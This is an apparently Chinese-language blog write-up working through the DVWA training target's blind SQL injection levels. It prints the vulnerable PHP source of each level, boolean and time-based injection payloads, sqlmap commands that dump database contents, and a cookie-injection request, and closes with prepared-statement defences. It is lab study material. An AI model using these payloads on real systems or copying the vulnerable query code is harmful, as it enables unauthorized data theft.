DVWA靶机学习——SQL Injection(Blind)

这个系列是学习DVWA靶机的。今天学习SQL Injection(Blind)的Low、Medium、High、Impossible级别。

Posted by K4ys0n on November 17, 2020

0x00 SQL Injection(Blind)

SQL Injection Blind盲注是指,在SQL注入过程中,服务器没有给客户端回显,导致我们无法直接判断注入的结果。这时就得利用基于时间的盲注和基于布尔的盲注来判断结果。

基于时间的盲注是利用延时函数来使注入结果正确时的响应时间与结果错误时的响应时间有较大的时差,这样一来就可以判断注入是否成功;而基于布尔的盲注是根据注入成功返回的页面为正常、注入失败时返回的页面为错误页面来判断的。

注意可能在设置好Low级别后点进SQL Injection(盲注)时会遇到如下报错:

Parse error: syntax error, unexpected '[' in D:\php\phpStudy_64\phpstudy_pro\WWW\dvwa\vulnerabilities\sqli_blind\index.php on line 65

是源码有误导致,修改dvwa/vulnerabilities/sqli_blind/index.php文件第65行,将最后的“[0]”去掉即可,如下:

$num = mysqli_fetch_row( $result )[0];
修改为
$num = mysqli_fetch_row( $result );

当选择Medium、High、Impossible级别时,又需要将上面[0]修改回来。

0x01 Low

源码分析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到参数id没有任何过滤。

并且当输入的id值存在与不存在,会回显不一样的前端代码,那么我们可以尝试基于布尔的盲注,通过输入注入语句使得结果为True或False时,会产生不一样的回显。

当然也可以利用基于时间的盲注。

解题思路

1、基于布尔的盲注 判断注入点

1'		//返回错误
1 and 1=1 	//返回正常
1' and '1'='1	//返回正常

说明该注入为字符注入。 可以用以下语句进行布尔盲注,其中N为数值,如115:

1' and ascii(substr(database(), 0, 1))>N #
1' and ascii(substr(database(), 0, 1))<N #
1' and ascii(substr(database(), 0, 1))=N #

利用上面语句,通过二分法调整N的数值以及>、<、=,就可以判断当前数据库名的第一个字符是什么;接着修改0为1,同样的步骤可以得到第二个字符,以此类推;获取表名、列名同理。

但是手工逐个字符找太麻烦了,用sqlmap可以自动化完成这些步骤,具体如下。 首先将请求包用burpsuite拦截,在id=1后加*号,保存在request.txt文件里,然后命令行输入:

sqlmap -r request.txt --dbms="MySQL" --batch --current-db 	//查找当前数据库名,返回dvwa
sqlmap -r request.txt --dbms="MySQL" --batch -D dvwa --tables	//查找表名,返回guestbook,users
sqlmap -r request.txt --dbms="MySQL" --batch -D dvwa -T guestbook --columns		//查找列名,返回comment,comment_id,name
sqlmap -r request.txt --dbms="MySQL" --batch -D dvwa -T guestbook -C "comment,name" --dump		//查看具体数据,返回数据

另外可以加参数强制指定使用布尔盲注方式:–technique B 同时加线程参数来提高速度,最高10线程:–thread 10

2、基于时间的盲注 可以利用如下语句,原理如布尔盲注,当if语句正确时,则会sleep(3)延时3秒再返回页面,否则直接返回页面。

利用返回页面的时间判断注入语句是否正常。

1' and if(ascii(substr(database(),1,1))=115, sleep(3), 1) #

同样繁复的步骤可以用sqlmap来完成,有强制指定使用时间盲注的方式:–technique T

但不一样的是,时间盲注不能使用线程参数,因为需要控制延时和页面返回,如果使用多线程会导致判断出错。

还可以设置时间盲注的sleep时间:–time-sec 3 这里设置为3秒,默认5秒

sqlmap -r request.txt --dbms="MySQL" --batch --technique T --current-db 	//查找当前数据库名,返回dvwa
sqlmap -r request.txt --dbms="MySQL" --batch --technique T -D dvwa --tables	//查找表名,返回guestbook,users
sqlmap -r request.txt --dbms="MySQL" --batch --technique T -D dvwa -T guestbook --columns		//查找列名,返回comment,comment_id,name
sqlmap -r request.txt --dbms="MySQL" --batch --technique T -D dvwa -T guestbook -C "comment,name" --dump		//查看具体数据,返回数据

0x02 Medium

源码分析

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
    //mysql_close();
}
?>

增加了mysqli_real_escape_string这个函数,该函数会对\x00,\n,\r,\,’,”,\x1a进行转义,并且前端页面设置了下拉菜单,必须抓包修改后再注入。

由于此时是数值型注入($id处没有单引号或双引号),不需要单引号,所以直接万能秘钥1 or 1=1 #即可,其他注入都跟Low等级一致,只需要抓包修改,不要用单引号即可。如果要用到单引号,那就用十六进制编码绕过。

解题思路

利用sqlmap进行盲注:

sqlmap -r request.txt --dbms "MySQL" --batch --current-db --hex		//查询当前数据库
sqlmap -r request.txt --dbms "MySQL" --batch -D dvwa --technique B --thread 10 --tables --hex	//	查询dvwa数据库下的表名,强制指定布尔盲注,多线程10个

其中–hex为字符16进制编码,其他注入语句同Low级别,使用时间或布尔盲注都可以。

0x03 High

源码分析

<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

这里的id是从cookie中传进来的,需要从cookie注入。同时使用了LIMIT 1限制查询只有一行,可以直接在注入语句后加#注释。

if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } 这里还使用了随机延时,http请求有1/5的概率会延时2~4秒才收到响应,这样就不利于基于时间的盲注的准确性,所以只能使用布尔盲注了。

解题思路

前端的话是要先点击弹出一个新的页面,在新的页面输入id值,在这个页面发出的包拦截下来,拦截后会发现id值在cookie中,我们在id=1后加上*,并保存成request.txt,然后使用sqlmap注入。

GET /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1
Host: 192.168.1.104:9000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.104:9000/dvwa/vulnerabilities/sqli_blind/
Connection: close
Cookie: id=1*; security=high; PHPSESSID=2stakqkr6p9dcdedrd6goenhiq
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

sqlmap注入语句如下:

sqlmap -r request.txt --batch --dbms MySQL --current-db --level 3 --technique B

–level 3,参数是cookie注入必须要的,如果想用sqlmap从cookie处注入,就需要开启–level 3。 –technique B,参数是强制指定只用布尔盲注,否则sqlmap默认还会用时间盲注等其他注入方式。

0x04 Impossible

源码分析

<?php
if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}
// Generate Anti-CSRF token
generateSessionToken();
?>

采用PDO技术(PHP Data Objects,php数据对象),将sql语句的模板和变量分两次发送给mysql,由mysql完成变量的转移处理。这样就避免了在php下进行拼接,转义,而出现注入漏洞。也就是Impossible级别下是很难注入的了。

另外上述代码还用到token机制来防御CSRF。

解题思路

无。

0x05 小结

防御方法:

  • 过滤用户输入,如一些关键词select、union等。
  • 使用预编译处理SQL语句,如PDO技术、Sqlparameter。
  • 使用OWASP等安全的SQL处理API。

0x06 参考

https://www.freebuf.com/articles/web/120985.html